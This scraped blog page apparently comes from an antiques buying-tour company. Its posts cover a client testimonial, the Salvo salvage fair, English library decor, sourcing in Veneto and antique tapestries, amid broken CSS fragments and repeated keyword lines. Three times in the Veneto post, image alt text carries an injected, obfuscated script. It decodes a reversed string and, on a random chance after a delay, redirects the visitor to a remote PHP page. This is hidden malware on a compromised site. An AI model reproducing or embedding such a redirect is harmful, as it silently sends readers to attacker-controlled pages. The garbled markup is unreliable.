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Antiques Diva Buying Tours

Muddy Boot Review

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>Many of our clients are what we call “trade clients,” meaning they are either antique store owners who want to stock their stores or they are interior designers who are looking to source antiques for client projects – we even get hoteliers, restauranteurs and developers.  Some trade clients own huge stores covering tens of thousands of square feet and count on us to maximize their time in Europe so they can buy enough to fill a container (or two!) in just a few days. Other clients own smaller stores and are looking for the perfect pieces to add to their inventory that will help set their shop apart from others. Either way, our Diva Guides love taking trade clients on tour to our many European sources! I had the privilege recently of taking Lorie Combias, owner of The Muddy Boot, Antiques & Objects, on a buying tour in Belgium. We had such fun and Lorie was able to purchase some special pieces for her Summit, New Jersey store while also coming away with fond memories of a successful European buying trip! After returning to the States, she wrote us the most lovely note, and, with her permission, I’m sharing it today on the blog.

Muddy Boot Antiques, Lorie Combias, Antiques Diva Buying Tours, Buying Antiques in Europe, Antiques Diva Review, Sourcing Antiques in Belgium,

Muddy Boot Antiques, Lorie Combias, Antiques Diva Buying Tours, Buying Antiques in Europe, Antiques Diva Review, Sourcing Antiques in Belgium,

Muddy Boot Antiques, Lorie Combias, Antiques Diva Buying Tours, Buying Antiques in Europe, Antiques Diva Review, Sourcing Antiques in Belgium,

Muddy Boot Antiques, Lorie Combias, Antiques Diva Buying Tours, Buying Antiques in Europe, Antiques Diva Review, Sourcing Antiques in Belgium,

Lorie writes:

My entire experience in Belgium with The Antiques Diva & Co was so unforgettable that I don’t even know where to begin…. This was more than just a shopping trip but truly an adventure into the Belgium antiques world. I own a small antiques shop in Summit NJ. When Toma Clark Haines – owner of  AD&CO  – said she would be taking me to dealers’ homes and warehouses I have to admit I was afraid the dealers would not want to be bothered with a small operation such as mine. I could not have been more wrong. The Antiques Diva & Co is so respected that any client of theirs is given preferential treatment. I was welcomed everywhere AD&CO  took me and all of the dealers treated me with kindness. Toma has made connections in the antique world that one could only imagine to hope having – we even visited a private castle and had wine and great conversation with the owner/dealer and his son after buying antiques from the castle. Not only does Toma know Belgium’s antique world she knows the countryside as well and personally drove me all over Belgium. Even more, Toma did her homework too. She had me – and my interior design style – pegged from the few photos I sent her showing my aesthetic. Everywhere she took me I basically had to gasp for air because I could have bought everything in each and every store.

Thank you Antiques Diva for an experience I will never forget! I can’t wait to do it again.

Lorie Combias
The Muddy Boot, Antiques & Objects.

Muddy Boot Antiques, Lorie Combias, Antiques Diva Buying Tours, Buying Antiques in Europe, Antiques Diva Review, Sourcing Antiques in Belgium,

Muddy Boot Antiques, Lorie Combias, Antiques Diva Buying Tours, Buying Antiques in Europe, Antiques Diva Review, Sourcing Antiques in Belgium,

Muddy Boot Antiques, Lorie Combias, Antiques Diva Buying Tours, Buying Antiques in Europe, Antiques Diva Review, Sourcing Antiques in Belgium,

Muddy Boot Antiques, Lorie Combias, Antiques Diva Buying Tours, Buying Antiques in Europe, Antiques Diva Review, Sourcing Antiques in Belgium,

Muddy Boot Antiques, Lorie Combias, Antiques Diva Buying Tours, Buying Antiques in Europe, Antiques Diva Review, Sourcing Antiques in Belgium,

Muddy Boot Antiques, Lorie Combias, Antiques Diva Buying Tours, Buying Antiques in Europe, Antiques Diva Review, Sourcing Antiques in Belgium,

Muddy Boot Antiques, Lorie Combias, Antiques Diva Buying Tours, Buying Antiques in Europe, Antiques Diva Review, Sourcing Antiques in Belgium,

 

I love this note so much because it goes to show that even if you don’t have a huge store, our vendors don’t put pressure on you to buy tons and tons of items from them. They want you to be satisfied with your purchases and want you to be able to sell them too. They rest assured with the knowledge that I or my Diva Guides will be bringing more clients back very soon, so they are sure to sell pieces on a consistent basis. It’s a win/win situation for both our clients and our vendor sources. And of course we get to be the liaison between these two worlds, and that certainly is a winning spot in my book!

Muddy Boot Antiques, Lorie Combias, Antiques Diva Buying Tours, Buying Antiques in Europe, Antiques Diva Review, Sourcing Antiques in Belgium,

If you would like information on taking an Antiques Diva Buying Tour in any of our 8 tour countries—Belgium, France, Italy, Sweden, England, Germany, The Netherlands, and Denmark— email us at to:info@antiquesdiva.com”>info@antiquesdiva.com.

Until next time, Happy Shopping!

The Antiques Diva®   

Salvo Fair

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>Whenever clients reach out to us for information on taking an Antiques Diva Buying Tour, one of the first questions we ask them is for which type of pieces they will be looking. Architectural salvage has been high on client’s lists for the last few years and the desire for these types of pieces hasn’t slowed down in 2015. While we have wonderful sources for architectural salvage, the largest architectural salvage fair in the world is coming up in June which will bring together dealers from the UK, Europe, and beyond. The Salvo Fair will be held on 27-28 June with Trade Day on Friday 26 June, at Fawley Hill, Fawley Green, Henley-on-Thames RG9 6JA, Oxfordshire and will be open 11am – 5pm.

Salvo Fair, Architectural Salvage, Antiques Diva Buying Tours, Sourcing antiques in Europe, English Antiques, Fawley Hill, Sir William McAlpine, Decorating tips, Decorating with Reclaimed Materials

Salvo Fair, Architectural Salvage, Antiques Diva Buying Tours, Sourcing antiques in Europe, English Antiques, Fawley Hill, Sir William McAlpine, Decorating tips, Decorating with Reclaimed Materials

This is the fourteenth year for this fair which is legendary in the trade, often bringing in some of the best interior designers, architects, builders, developers and dealers to shop. Even celebrities and billionaires are known to peruse the fair for just the right pieces of antique garden art or reclaimed building materials. Anything from antique flooring and bricks to vintage lighting, antique fireplaces, and decorative antiques can be found at Salvo Fair.

Salvo Fair, Architectural Salvage, Antiques Diva Buying Tours, Sourcing antiques in Europe, English Antiques, Fawley Hill, Sir William McAlpine, Decorating tips, Decorating with Reclaimed Materials

Salvo Fair, Architectural Salvage, Antiques Diva Buying Tours, Sourcing antiques in Europe, English Antiques, Fawley Hill, Sir William McAlpine, Decorating tips, Decorating with Reclaimed Materials

Salvo Fair, Architectural Salvage, Antiques Diva Buying Tours, Sourcing antiques in Europe, English Antiques, Fawley Hill, Sir William McAlpine, Decorating tips, Decorating with Reclaimed Materials

This year it will be held at Fawley Hill, Sir William McAlpine’s extraordinary private estate near Henley-on-Thames. And it’s the weekend before Henley Regatta and Wimbledon and just after the Royal Ascot races. It’s at the centre of the English Social calendar! Ruby Hazael, co-organizer of Salvo Fair says, “Sir William McAlpine has built an extraordinary home on the outskirts of Henley with a full size steam railway, a railway museum and 400 rescued animals. We are honoured to be able to hold the Salvo Fair at Fawley Hill, and very excited that our visitors will not only be able to browse and buy at the largest salvage fair in the country but will also be able to experience Fawley Hill’s attractions which are not normally open to the public.”

Salvo Fair, Architectural Salvage, Antiques Diva Buying Tours, Sourcing antiques in Europe, English Antiques, Fawley Hill, Sir William McAlpine, Decorating tips, Decorating with Reclaimed Materials

Salvo Fair, Architectural Salvage, Antiques Diva Buying Tours, Sourcing antiques in Europe, English Antiques, Fawley Hill, Sir William McAlpine, Decorating tips, Decorating with Reclaimed Materials

Salvo Fair, Architectural Salvage, Antiques Diva Buying Tours, Sourcing antiques in Europe, English Antiques, Fawley Hill, Sir William McAlpine, Decorating tips, Decorating with Reclaimed Materials

Just a taste of what one can expect to find at Salvo Fair includes:  Fireplaces, chimneypieces, doors, windows, radiators, statuary, seats, urns, troughs, tubs, garden, sundials, birdbaths, pergola, rose arches, railway sleepers, furniture, bathrooms, baths, basins, taps, toilets, tiles, brassware, knobs, handles, knockers, hinges, balls, finials, chairs, pews, altars, lecterns, stained glass, staircases, spirals, flooring, parquet, woodblock, floorboards, bricks, pavers, flagstones, york stone coping, pediments, balustrade, timber, oak pine, marble, trusses, beams, columns, pilasters, portico, cornice, dado, skirting, roof tiles, slates, ironwork, gates, railings, lighting, lamposts, kitchens, kitchenalia, sinks, post boxes, telephone boxes, cartwheels, shopfittings, butchers block, and shingles.

Salvo Fair, Architectural Salvage, Antiques Diva Buying Tours, Sourcing antiques in Europe, English Antiques, Fawley Hill, Sir William McAlpine, Decorating tips, Decorating with Reclaimed Materials

Salvo Fair, Architectural Salvage, Antiques Diva Buying Tours, Sourcing antiques in Europe, English Antiques, Fawley Hill, Sir William McAlpine, Decorating tips, Decorating with Reclaimed Materials

In other words, if you can’t find it at Salvo Fair, you can’t find it!

If you’d like more information on Salvo Fair, check out their website or email us at to:info@antiquesdiva.com”>info@antiquesdiva.com.

Cheers,

The Antiques Diva®

The English Library

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>I know in this digital day and age libraries are a thing of the past… but I’m The Antiques Diva® – I LIVE In the PAST! My décor fantasy is to have a dedicated room in my home someday to serve as my library.  Of course, if I’m going to dream I’m going to dream BIG…so that home would actually be a Chateau or Manor House.  Something simple, like Highclere Castle, where Downtown Abbey is filmed would do the trick.

ton-abbey2.jpg”>ton-abbey2-1024×766.jpg” alt=”downton abbey, Decorating tips, Recreating English Country Style, Staffordshire Dog, vintage tea caddies, Antiques Diva Buying Tours, Sourcing antiques in Europe, Decorating English Libraries” width=”600″ height=”449″ />

While I might not have the English country house just yet…. I’m working on it. In the meantime, there are a few easy ways to achieve a look reminiscent of these traditional English country homes.  First off, start with a great library shelving unit.  Those lovely boys at my favorite Belgium boutique hotel turned antique shop JVR 108 have recently acquired all the contents of the famous Chateau Rozenhout (as seen on the cover of The Houses of Veranda book) which means you could actually buy an iconic piece from one of the great houses of Europe.

highclere castle downabbey,

Of course, then once you have the book case you could add some traditional English antique pieces to line your shelves.

Decorating tips, Recreating English Country Style, Staffordshire Dog, vintage tea caddies, Antiques Diva Buying Tours, Sourcing antiques in Europe, Decorating English Libraries

So here’s my confession… While I’m a big reader – reading nearly every night for an hour before bed – I also buy books I never intend to read.  I buy gorgeous antique leather-bound books to stage my shelves! Pretentious? Maybe. Gorgeous? Absolutely!  And trust me… I’m not the only one who buys books they don’t read… flip open any decorating magazine, you’ll see miles of leather bound antique journals! You can pick these up at markets for a song.

Whenever we take clients on a Buying Tours, I always encourage them to buy small pieces as well as furniture. Why? Because if you’re going to ship a container full of bureaus and cabinets home, you might as well fill the drawers with small accessories! Volumes of antique books are the perfect thing to fit into drawers and cabinets, taking up no extra space in your shipping container – so essentially those smalls are shipped for free if you’re already shipping larger items! And once you get them home or back to your store they make the perfect addition for accessorizing your shelves.

Decorating tips, Recreating English Country Style, Staffordshire Dog, vintage tea caddies, Antiques Diva Buying Tours, Sourcing antiques in Europe, Decorating English Libraries

living room bookcase, Decorating tips, Recreating English Country Style, Staffordshire Dog, vintage tea caddies, Antiques Diva Buying Tours, Sourcing antiques in Europe, Decorating English Libraries

The next quintessentially English accessory has to be Staffordshire Dog statues. These typically come in matching pairs and are frequently used on mantles however they make fantastic additions to shelving. I love that they are traditional… but are also wonderfully KITCH!  I’ve even seen them used as bookends which is quite a good look especially when paired with old leather-bound books.

Another accessory that looks fabulous on open shelving is antique English tea caddies. Wooden tea caddies were first introduced in the early 18th century and by the second half of that same century, they were widely considered to be a stylish home accessory. We’ve had several clients purchase these items while on tour. In fact, many people buy them in multiples as they make a lovely displayed collection in a study or even a kitchen!  Add in some traditional blue and white Delft or for that Antique Young Guns look mix it up with some taxidermied birds!

Decorating tips, Recreating English Country Style, Staffordshire Dog, vintage tea caddies, Antiques Diva Buying Tours, Sourcing antiques in Europe, Decorating English Libraries

If you’re after that old English look, try using these perfectly English accessories on your shelves. By simply adding these few elements, you’ll transform your room into something reminiscent of an English country manor! And if you’d like more information on our English Antique Buying Tours email us at to:info@antiquesdiva.com”>info@antiquesdiva.com

Cheerio,

The Antiques Diva® 
(seen here at the Real Life Downton Abbey – Highclere Castle with my gorgeous niece Kyrra)

ton-abbey-1.jpg”>ton-abbey-1.jpg” alt=”downton abbey, Toma Clark Haines, The Antiques Diva, Highclere Castle” width=”600″ height=”781″ />

Sourcing in the Venetian Countryside

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>Mamma Mia…..  Here at The Antiques Diva & Co we custom plan each client’s tour route, taking into account their travel time, budget and what type of antiques they are looking to source. This means that sometimes we take them to specialized shops in the cities and other times we schedule their tours around specific flea markets. And still other times we go off the beaten path to warehouses and private residences in the countryside to find the perfect pieces. This is pretty much the case for each of our 8 tour countries, but today I want to talk about Venice—or rather, Veneto!

Sourcing antiques in Italy, Venetian Antiques, Antiques Diva Buying Tours, Vene<script data-recalc-dims=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Antiques, Architectural Salvage, 15 Century Antiques, ” width=”479″ height=”359″ />

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Yes, we lead fabulous tours in Venice proper, guiding clients through canals and hidden alleyways to shops which house museum quality pieces. But we also are excited to start offering tours in Veneto! Imagine the experience of our local Diva Guide picking you up from your hotel and whisking you to a small town in the north area of Vicenza where 15th century architecture dots the landscape. In fact, we can recommend a 15th century castle in the area where you can actually stay! Now that’s traveling fit for a Diva!

Sourcing antiques in Italy, Venetian Antiques, Antiques Diva Buying Tours, Vene<script data-recalc-dims=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Antiques, Architectural Salvage, 15 Century Antiques, ” width=”360″ height=”480″ />

Sourcing antiques in Italy, Venetian Antiques, Antiques Diva Buying Tours, Vene<script data-recalc-dims=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Antiques, Architectural Salvage, 15 Century Antiques, ” width=”482″ height=”355″ />

When it comes to sourcing antiques however, we drive you to a 17th century palazzo filled with furniture, objects and art—all for sale. You’re greeted by the owner, a kind man who lives in this historic palazzo and has aptly named it “The Palace of Old Things.” And old things he has! Meander though the grand country house itself, complete with its stone walls, wooden beams and private courtyard, shopping for not only architectural salvage but also antique furniture from Veneto, France and other European countries. If you happen to have something specific that you’re looking for, just tell Francesco and he can find it for you.

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From 17th century pieces to vintage furniture from the 20th century, you can find restored or unrestored condition. As many of our sources offer two prices (restored or unrestored), the same goes in Veneto. This is a convenient option because it puts the decision in your hands whether you want to do the restoring yourself or have your purchases arrive ready for use.

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If you’d like more information on taking an Antiques Diva & Co Buying Tour in Veneto or any of our 8 European tour countries— France, Belgium, Italy, England, Germany, Sweden, The Netherlands or Denmark— email us at to:info@antiquesdiva.com”>info@antiquesdiva.com.

Ciao Ciao,

The Antiques Diva®

Antique Tapestries

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>Because we offer Antique Buying Tours for tourists as well as trade professionals, many of our clients are interior designers or antique store owners who want to stock their stores. Having these trade clients on tour allows us to have a glimpse into what styles are trendy now and what pieces remain classic in the world of interior decorating.  Tapestries are among the classic pieces since they have been around for centuries and continue to be used in homes across the world.

Antique Tapestries, Antiques Diva Buying Tours, Sourcing European Antiques

Tapestries weren’t originally just decorative items. People of the ancient world would hang large textiles on their walls to keep the cold air out of their homes. As with most utilitarian aspects of the home, people began adding decorative elements to tapestries and eventually they became works of art in and of themselves. The weaving process became more intricate and certain weavers would create their own trademarks that they became known for. In fact, one way to identify the manufacturer of a tapestry is to look at its border. Different weavers would use unique border styles sort of as a signature to their tapestries.

Antique Tapestries, Antiques Diva Buying Tours, Sourcing European Antiques

Countries like Italy, England Belgium and France became specialists in this art form, offering wealthy clients custom designed tapestries, perhaps depicting important people or commemorating important events. As with anything, tapestries were a way to show status and wealth. In Paris, high-class clients would have gold threads incorporated into their tapestries.

Antique Tapestries, Antiques Diva Buying Tours, Sourcing European Antiques

Antique Tapestries, Antiques Diva Buying Tours, Sourcing European Antiques

By the 16th century, the jacquard loom was developed in Flanders which made tapestries more accessible to the masses. However the skill of hand weavers cannot be matched and therefore the older and more intricate tapestries are often harder to find and more expensive.

Antique Tapestries, Antiques Diva Buying Tours, Sourcing European Antiques

If you’re looking to purchase an antique tapestry, here are a few things to look for— see if there is a border on the tapestry. Often times the border is the first part of the tapestry to be destroyed, cut or deteriorate. Also observe the coloring—has the dye faded? Are the colors rich? Another thing to look at is the subject matter. Usually older tapestries depict Roman scenes while later tapestries incorporate hunts and other activities the noble class would have partaken in. Also ask the dealer if they know any history about the tapestry. Finding out where it came from and who owned it will not only be interesting but may lead to a discovery of an important historic provenance.

Antique Tapestries, Antiques Diva Buying Tours, Sourcing European Antiques

Antique Tapestries, Antiques Diva Buying Tours, Sourcing European Antiques

Antique Tapestries, Antiques Diva Buying Tours, Sourcing European Antiques

If you would like us to help you source an antique tapestry or if you’d like to take one of our Antique Buying Tours, email us at to:info@antiquesdiva.com”>info@antiquesdiva.com.  We’d love to share our knowledge with you!

The Antiques Diva®

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The Antiques Diva & Co offers custom planned Antiques Buying Tours for tourists and trade professionals. Whether you’re looking to buy one specific piece or wanting to fill an entire container, our personal shopping antique buying guides share their vast knowledge of secret sources to take you to all the right places.

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